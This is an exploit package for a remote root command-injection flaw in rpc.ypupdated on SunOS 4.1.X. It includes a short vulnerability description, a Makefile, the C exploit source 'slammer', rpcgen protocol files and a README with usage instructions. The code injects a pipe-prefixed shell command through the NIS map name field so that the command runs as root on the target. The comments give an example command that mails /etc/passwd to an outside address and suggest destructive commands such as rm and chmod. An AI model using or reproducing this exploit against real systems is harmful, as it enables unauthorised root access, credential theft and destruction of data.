COMMAND
rpc.ypupdated
AFFECTED SYSTEM
SunOS 4.1.X
PROBLEM
Remote users may pass arbitrary root commands on target hosts
running ypupdated and keyserv.
When ypupdated recieves requests to update yp maps on a host
machine it forks and executes a copy of the bourne shell. Through
the bourne shell meta characters may be passed into the arguments
causing a security breach.
------------------------------------------------------------------------------
Makefile
------------------------------------------------------------------------------
OBJS= slammer.o
all: slammer
slammer: $(OBJS)
rpcgen ygyg.x
cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer
-------------------------------------------------------------------------------
/* slammer.c
* By Josh D. February 7th 1994 AD
* usage slammer target "cmd arg1 arg2 agr3 ....."
* the target must be running ypupdated keyserv, and ypbind MUST be
* running, if they aren't see README. this program is built to run
* on a sunOS 4.1.X machine, running it on anything else will probably
* cause a linker error or a core dump if the program core dumps on a
* sunos 4.1.X someone has given you a broken copy or your local
* machine is not setup correctly (see README)
*
* caveat: your command will be exec'd on the receiving end of a pipe
* so redirecting stdin will cause the input file to be zero'd
* example: slammer joe.target.com "mail me@mysite.com < /etc/passwd"
* will not only not work, but will also zero the passwd file
* solution: use only non-interactive commands, e.g. rm, cp, chmod,
* mv, etc.
-SW
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <signal.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <rpc/rpc.h>
#include "ypupdate_prot.h"
char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\
:7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9";
int main(argc, argv)
int argc;
char **argv;
{
ypupdate_args stam;
CLIENT *yope;
int ursuck=RPC_ANYSOCK;
struct hostent *ham;
unsigned long othello;
struct sockaddr_in *us, them;
struct timeval fore;
char wonthirtyseven[255-1+2 % 1000];
fore.tv_sec = 60; fore.tv_usec = 0;
if (argc != 3) exit(printf("wonthirtyseven\n"));
if (isdigit(argv[1][0]))
{ bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);}
else
{ ham = gethostbyname(argv[1]);
if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n"));
bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2);
}
if (strlen(argv[2]) > 253)
{ printf("your comm is bein trunc'd to 253\n");
argv[2][253] = '\0';
}
sprintf(wonthirtyseven, "|%s", argv[2]);
them.sin_family = AF_INET;
them.sin_port = 0;
yope = clntudp_create(&them, 100028, 1, fore, &ursuck);
if (yope == NULL) exit(printf("Cu;dn't create yope\n"));
clnt_control(yope, CLSET_TIMEOUT, &fore);
yope->cl_auth = authdes_create("nobody", 600, NULL, NULL);
if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n"));
if (yope->cl_auth->ah_ops->ah_marshal == NULL)
exit(printf("too:local site misconfigured\n"));
stam.mapname = wonthirtyseven;
stam.key.yp_buf_val = "blah";
stam.datum.yp_buf_val = "blah";
stam.key.yp_buf_len = 5;
stam.datum.yp_buf_len = 5;
if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int,
&othello, fore) != RPC_SUCCESS)
printf("137\n");
}
------------------------------------------------------------------------------
%/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */
%
%/*
% * Compiled from ypupdate_prot.x using rpcgen
% * This is NOT source code!
% * DO NOT EDIT THIS FILE!
% */
/*
* NIS update service protocol
*/
const MAXMAPNAMELEN = 255;
const MAXYPDATALEN = 1023;
const MAXERRMSGLEN = 255;
program YPU_PROG {
version YPU_VERS {
u_int YPU_CHANGE(ypupdate_args) = 1;
u_int YPU_INSERT(ypupdate_args) = 2;
u_int YPU_DELETE(ypdelete_args) = 3;
u_int YPU_STORE(ypupdate_args) = 4;
} = 1;
} = 100028;
typedef opaque yp_buf<MAXYPDATALEN>;
struct ypupdate_args {
string mapname<MAXMAPNAMELEN>;
yp_buf key;
yp_buf datum;
};
struct ypdelete_args {
string mapname<MAXMAPNAMELEN>;
yp_buf key;
};
------------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#include <rpc/types.h>
/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */
/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/
#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255
#define YPU_PROG ((u_long)100028)
#define YPU_VERS ((u_long)1)
#define YPU_CHANGE ((u_long)1)
extern u_int *ypu_change_1();
#define YPU_INSERT ((u_long)2)
extern u_int *ypu_insert_1();
#define YPU_DELETE ((u_long)3)
extern u_int *ypu_delete_1();
#define YPU_STORE ((u_long)4)
extern u_int *ypu_store_1();
typedef struct {
u_int yp_buf_len;
char *yp_buf_val;
} yp_buf;
bool_t xdr_yp_buf();
struct ypupdate_args {
char *mapname;
yp_buf key;
yp_buf datum;
};
typedef struct ypupdate_args ypupdate_args;
bool_t xdr_ypupdate_args();
struct ypdelete_args {
char *mapname;
yp_buf key;
};
typedef struct ypdelete_args ypdelete_args;
bool_t xdr_ypdelete_args();
------------------------------------------------------------------------
README
-------------------------------------------------------------------------
In order for slammer to work correctly the following parameters
must be met:
Target Host *MUST* be running both ypupdated and keyserv. If this
is not the case Slammer will return non-zero error code.
syntax: slammer target.com "arbitrary command"
If slammer is succesfull you will be returned to your initial
prompt.